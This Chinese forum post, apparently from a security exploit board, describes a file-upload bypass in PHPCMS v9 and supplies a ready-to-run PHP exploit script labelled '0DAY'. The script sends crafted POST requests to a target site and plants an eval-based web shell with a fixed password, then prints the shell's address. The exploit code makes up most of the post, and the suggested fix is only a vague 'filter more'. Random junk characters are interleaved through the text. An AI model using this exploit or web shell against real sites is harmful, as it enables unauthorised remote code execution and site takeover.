找回密码
 立即注册
查看: 2725|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行- N6 Y; {; v# ^/ p, m! k' Z4 \: Z
/ `( `/ z/ W+ J7 c
简要描述:
0 C; r" ?1 \. \5 k0 I) U1 S0 c5 }/ O( q" [
phpcms v9 getshell (apache)
# t9 ?  b, t7 ~1 d3 f详细说明:9 @" F  m" }! o; _# N1 N0 q
2 t. @" D- _' M5 H# |2 ^
漏洞文件:phpcms\modules\attachment\attachments.php
6 Z3 f9 p. {) @$ x+ [0 F; E, Z
& @- l1 n' [% q9 g! x" {$ @public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } " g$ U$ w! x2 `' ]: B) q& L
后缀检测:phpcms\modules\attachment\functions\global.func.php; Z; A1 W+ e' D6 p" A6 j5 C" v
4 b8 N8 a" C: y
$ w9 z; g: g7 q" H! r7 X

1 x9 n4 h# n' a2 X$ T# ~- @, z: afunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  * G# o' x7 E) ]9 `) f4 O2 X5 {
8 S! m$ C' j( @( X! {
关键函数:
' ~2 e# ?' n6 E; G# J8 @7 n
( D" Q7 U$ J  w8 X' P( o( m. ~8 a
5 [' m& U8 K% M) }
& y) ]% F; E) i0 i3 t: m: o- Ufunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  # u( N6 F% L: Y# R4 u

. ^+ _/ ?$ y/ t* e$ C& z7 \  Fileext函数是对文件后缀名的提取。: b" X1 x- Q& O/ `/ F
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
$ W' w- C1 `7 \: A1 h8 n" @& o经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。7 l  d1 j8 P2 e9 q
我们回到public function crop_upload() 函数中3 I1 F6 o& S# r1 ]  E
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();1 Z9 C. r8 y/ W3 M7 S7 L: w0 g5 u
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数' }- R8 `7 d4 A% f+ q( b9 x# Q% W
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
' x& H* j' N( ~$ U3 s经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。" T) D: x2 E# h* P
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
7 u: ?; d; B2 t6 S/ b2 `0 G0 T+ h' E看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
5 S2 c7 U' T+ d& U9 w& _- y; o漏洞证明:7 e7 C7 b4 J( T& w  _
  o' d1 y3 ~" K8 _1 j9 M; F
exp:& T6 v6 Z8 A* U% x1 D+ `
9 _( z) Y' d- I7 e6 l& X2 z
<?php
% T* K9 Y, f' q$ Kerror_reporting(E_ERROR);
% q! P% o) A! b4 nset_time_limit(0);
& ~  o$ H8 {* y) n: m$pass="ln";
! ]. ]/ p( [# G' Lprint_r('
% M0 B8 }2 K- _. Y+---------------------------------------------------------------------------+
4 C* u2 f! o2 Z# ZPHPCms V9 GETSHELL 0DAY
2 G2 Y" P/ F4 s/ W1 d- ]' ecode by L.N.
0 y" d/ k' y0 [, i
1 s# _2 C' ~1 kapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# F3 g  n* X3 [$ u( ]4 M8 {- G
+---------------------------------------------------------------------------+
8 I2 C0 k2 ?6 C; [');
+ K- t0 [! R$ D. u# _7 C! \if ($argc < 2) {( w" u; N) o+ d) `. f
print_r('
3 `" W5 O6 ?/ p1 G( y  S# L9 u+---------------------------------------------------------------------------+
' ]4 L# \% r: L  PUsage: php '.$argv[0].' url path
) U2 r" Y; e" W: A: U0 X- G0 J
. P- e/ F# V$ P/ PExample:# W5 j  S' z- d
1.php '.$argv[0].' lanu.sinaapp.com: I$ ?* q  l5 }6 i0 g
2.php '.$argv[0].' lanu.sinaapp.com /phpcms. m' \/ g6 M4 @: p) ?
+---------------------------------------------------------------------------+
; I0 x9 }8 I5 Z$ p');8 m) k6 J# s3 L- j: U2 ]# E3 ^
exit;4 i$ s+ ~' T5 W% P$ Z! }
}
8 J4 F3 k1 s, [1 Q% ^+ [
+ }7 d" L6 {$ D$ a7 h$url = $argv[1];
; ~; X7 w# i$ v  p/ n$path = $argv[2];9 w- J4 I+ e! W9 m1 P6 g; `
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
; a9 a+ h* i: {* G0 B9 v$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';* C# [& }5 y0 \/ m6 Z- A
if($ret=Create_dir($url,$path)), e+ _4 e3 e& C9 J
{/ G" K5 k1 m& Y/ R* U6 X
//echo $ret;
& }. ~! l: {; F3 i+ R+ ?$pattern = "|Server:[^,]+?|U";
" z: l$ ]- l5 o1 S. Rpreg_match_all($pattern, $ret, $matches);
" L: r7 `. [0 r4 tif($matches[0][0])( o* w) Z) n% T! T: M4 U+ S- f
{
3 v, `5 ?! H# n+ sif(strpos($matches[0][0],'Apache') == false)
2 m9 @/ k- b( g; U{( w5 M/ a7 I8 P- M- @" \% L
echo "\n亲!此网站不是apache的网站。\n";exit;
" B* H; A7 \2 Y}
( {! O* \+ T2 {- c}7 u  z5 I4 D2 r3 U1 b
$ret = GetShell($url,$phpshell,$path,$file);
: Z0 i+ [" l% L( M% b3 |. o$pattern = "|http:\/\/[^,]+?\.,?|U";* E0 V7 ~) R6 z8 \9 W) n
preg_match_all($pattern, $ret, $matches);# S, m  s6 W- B# G! d+ s
if($matches[0][0])0 @" q& E" ~4 x9 D( Z
{
; t  U  q( N  P9 lecho "\n".'密码为: '.$pass."\n";
7 j4 n1 Y* _, S& wecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;5 e. ]3 ]6 F8 ~0 u! L6 v: n9 _/ J9 H
}
5 Q/ b5 g1 s8 J9 C1 E9 I: Zelse
9 ^& o6 J$ N5 M% {1 Q! w' A{
5 T& Q0 }7 M8 c8 q" v& V# `3 d$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
" t3 K- m) j1 T, vpreg_match_all($pattern, $ret, $matches);
2 ]; d# X$ V/ @! U4 ^3 L7 w8 x- \3 Jif($matches[0][0])% b) f# N- X% u$ y$ x2 A# W" e
{# x4 B! k( j6 S( n8 o+ Y6 f+ H
echo "\n".'密码为: '.$pass."\n";& [7 D9 _" T  i( H$ n' m% n/ J
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ s  _& [& q) G4 l& j/ R/ Q4 M! ~/ b}
. F4 w; o: n% z1 a3 U0 L$ Delse
0 N! C0 u8 F1 W  K{
* K, }* e) [: n& j% r# u# Gecho "\r\n没得到!\n";exit;
1 r# [& K7 Y; W* y}
! C. G, K# W- [. N# M% P! g}5 T/ j4 n, D2 Q$ `  A
}: V/ K0 F7 l9 @: j, b
% A8 r: D% V9 a* ^, w
function GetShell($url,$shell,$path,$js)
8 ~9 I5 O1 |! ^5 J& }0 G9 Z$ ?{* m4 e3 T0 J) `1 q
$content =$shell;
- F" q* x3 u: g- X8 w4 A- s$ M- C$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";- b. h. R+ h* y0 L6 X. Q8 c6 x' j
$data .= "Host: ".$url."\r\n";' u8 L2 Y8 H9 d5 U; H0 v
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ v6 D" ?: p9 S* u5 J
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";* l: T/ g; q" @( {1 D7 R
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% Q! R+ e( i+ k2 _) Y) v; i$data .= "Connection: close\r\n";, k2 c+ [# }' ~
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";* ~. g: r* H) Y! ]/ \
$data .= $content."\r\n";! ^, l# ~3 w; p4 {
$ock=fsockopen($url,80);
7 X/ G" K' R# h6 @  M' b+ N* gif (!$ock)6 u& ~( O* N0 S
{" X. M$ ]# d& D2 u) A) P; X
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& X3 H  m" q1 H: Z}" s" y" o* d7 ?1 k+ j  d
else! }# u' J+ |6 F7 n: ]5 a, D
{$ q6 ~2 ^6 x5 `- h1 n
fwrite($ock,$data);
; _3 ~; Z# J& R& S$resp = '';
# \: _1 _0 t4 Y  Q( |while (!feof($ock))3 U: U4 O0 Z5 R2 E. p- q/ o& h0 O$ d
{) |0 V3 s' M0 p; [
$resp.=fread($ock, 1024);2 g2 h1 ^- \$ @: E7 c$ E/ G: p6 T
}
0 h9 S2 o* h. G0 O2 _* \return $resp;) U2 m8 c! A, M9 _' [4 e0 {
}2 s2 Z% @) i# U' B
}7 m7 [# W8 r8 F0 w5 G  U3 K
/ C* V) v  m0 D6 B" d
function Create_dir($url,$path='')9 j2 @* n/ v5 ]- [
{% u6 z# e3 ?1 h/ U' C. a
$content ='I love you';6 `( M0 b1 U; ]
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
3 G4 `1 Z* f7 ]% U2 M! _$data .= "Host: ".$url."\r\n";3 _; M. [: j+ h( k
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ S) I; q* K$ Y
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( P6 I/ y$ V* q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";2 }& D2 z5 L; k: v  _
$data .= "Connection: close\r\n";0 p7 K# Q$ I  S6 ~9 ]$ K( S" q  [
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' ~7 [" ~+ l0 L0 ?- G
$data .= $content."\r\n";# l7 M/ c) A" k. \* p
$ock=fsockopen($url,80);" ^3 Y, `% T7 y7 ]4 i1 E+ s! f6 t
if (!$ock)1 t8 {6 q  O1 c. q9 d; B3 d' U/ m
{
8 U; Z" e: w! S1 R: necho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 x! q5 l+ T3 o! d}
: Q( \2 y7 t- Y6 ofwrite($ock,$data);
$ e+ @5 P; U' {0 s9 c$resp = '';
4 y. i/ U- B/ qwhile (!feof($ock)). p9 t/ {. \+ V( a3 q' ?* @9 k
{
3 |/ v/ L' S7 L$ R+ @+ Y: ]$resp.=fread($ock, 1024);  F3 I- |) ~/ f, u4 r2 ^% e6 j$ D
}4 ~/ H4 E. ^4 _! T7 H8 Z
return $resp;
, f  `  p" f( Z% D- l. s( w: }}
+ V: s, D* G% O7 k, \?>
% ^; D2 \( ^8 `- Z4 y7 L . O% K: y2 G+ d7 M) O3 R
修复方案:
3 J) q- S+ _; r4 H/ t/ {9 l( s9 Y+ \5 ?
过滤过滤再过滤
6 b3 D2 t7 h6 P1 `: S
. `& f0 x. W5 Y" W; q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表